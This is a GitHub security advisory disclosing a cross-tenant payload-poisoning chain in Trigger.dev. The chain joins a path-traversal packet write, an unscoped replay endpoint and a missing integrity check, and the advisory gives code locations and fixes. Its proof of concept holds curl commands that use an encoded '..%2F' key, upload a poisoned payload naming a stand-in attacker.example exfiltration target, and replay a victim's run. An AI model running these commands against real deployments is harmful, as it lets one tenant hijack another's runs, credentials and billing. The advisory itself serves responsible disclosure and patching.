Skip to content

Cross-tenant payload poisoning via packet write + replay

Moderate
carderne published GHSA-jx48-qfwm-xq67 Jul 9, 2026

Package

No package listed

Affected versions

>= 4.4.2, <= 4.4.6

Patched versions

>= 4.5.0

Description

TL;DR

Using a packet path-traversal write vulnerability, along with a with replay IDOR, an attacker overwrites a victim run's offloaded payload in S3, then calls replay on that run. The replay reads the poisoned packet, deserialises it, and triggers a new run in the victim's env with attacker-controlled input. The victim's task code runs against attacker data with the victim's env vars and credentials, on the victim's billing.

Vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

1. Packet path-traversal write (CWE-22, Critical)

Aws4FetchClient.presign (apps/webapp/app/v3/objectStoreClient.server.ts:60-69) assigns url.pathname = "/" + key before signing, the WHATWG parser collapses .., and the wildcard route param has no validation. A PUT to /api/v1/packets/..%2F..%2F<projectRef>%2F<envSlug>%2F<runFriendlyId>%2Fpayload.json returns a presigned URL signed for the victim's payload key. The cross-tenant packet read/write is reported separately and goes into more depth on the root cause

2. Replay route looks up runs by friendlyId without env scope (CWE-639, High)

apps/webapp/app/routes/api.v1.runs.$runParam.replay.ts:35 does prisma.taskRun.findUnique({ where: { friendlyId: runParam } }) with no runtimeEnvironmentId filter. Sibling routes (reschedule, tags, result, attempts, events) all scope by env. ReplayTaskRunService at apps/webapp/app/v3/services/replayTaskRun.server.ts:26-28 then resolves the env from the run row itself and fires TriggerTaskService into that env, so any API key can replay any run anywhere. This bug also has standalone impact even without the packet write: an attacker can re-trigger any victim run by friendlyId, consuming concurrency and re-firing whatever side effects the original run had

3. Replay reuses the existing run's offloaded payload by storage path with no integrity check (CWE-345, Medium)

For payloadType: "application/store", overrideExistingPayloadPacket calls conditionallyImportPacket (apps/webapp/app/v3/services/replayTaskRun.server.ts:52, packages/core/src/v3/utils/ioSerialization.ts:258-289), which fetches whatever is at the URL stored in existingTaskRun.payload and feeds the response body in as parsedPayload. There's no content hash, no signed manifest, no proof the bytes match what was uploaded. Whatever sits at the storage path becomes the new run's input

Exploit chain / PoC

Storage filename format is deterministic (apps/webapp/app/runEngine/concerns/payloads.server.ts:32 and apps/webapp/app/v3/objectStore.server.ts:137):

packets/<projectRef>/<envSlug>/<runFriendlyId>/payload.json

Preconditions: attacker has any Trigger.dev API key (free signup), the victim's payload was offloaded (>128KB by default, common for AI / LLM tasks and batches), and attacker knows the victim's runFriendlyId, projectRef, and envSlug. Those leak together in webhook payloads, alert emails, OTEL endpoint configs, CLI deploy logs, support tickets, and screenshots; envSlug is usually "prod" / "staging" / "dev".

# 1. PUT-poison the victim's payload packet via path traversal
TOKEN=tr_<attacker_private_key>
KEY="..%2F..%2Fproj_victim%2Fprod%2Frun_<victim_friendlyId>%2Fpayload.json"

PUT_URL=$(curl -s -X PUT "https://api.trigger.dev/api/v1/packets/$KEY" \
  -H "Authorization: Bearer $TOKEN" | jq -r .presignedUrl)

curl -X PUT "$PUT_URL" -H "Content-Type: application/json" \
  --data-binary '{"command":"exfiltrate","target":"https://attacker.example/in"}'

# 2. Replay the victim's run (IDOR, friendlyId only)
curl -X POST "https://api.trigger.dev/api/v1/runs/run_<victim_friendlyId>/replay" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{}'
# 200 OK; { "id": "run_<new_run_in_victim_env>" }

The new run executes the victim's task code on the attacker's payload, inside the victim's env, with the victim's env vars and outbound credentials. Whatever the task does (call OpenAI, charge Stripe, send email, write to victim's DB) it now does with attacker-chosen input. Charges land on the victim.

Note on cloud.trigger.dev

The packet-write primitive (vuln 1) is shielded on the cloud by an upstream AWS ALB filter that blocks .. traversal patterns; the same shield is documented in the cross-tenant packet read/write report. Self-hosters have no equivalent shield, and best practice for protecting them isn't documented. The replay IDOR (vuln 2) is unshielded everywhere - re-triggering victim runs works on cloud and self-host today, even without the write primitive.

Fix

Fixing any one of these breaks the chain. All three should be fixed.

  • Vuln 1: see the path-traversal fix in the cross-tenant packet read/write report.
  • Vuln 2: scope the replay lookup by runtimeEnvironmentId, matching the sibling reschedule / tags / result / attempts / events routes.
  • Vuln 3: when re-importing an application/store packet during replay, verify a content hash recorded at upload time, or re-sign the original payload from a tamper-evident source rather than re-reading the storage path.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

CVE ID

CVE-2026-73657

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits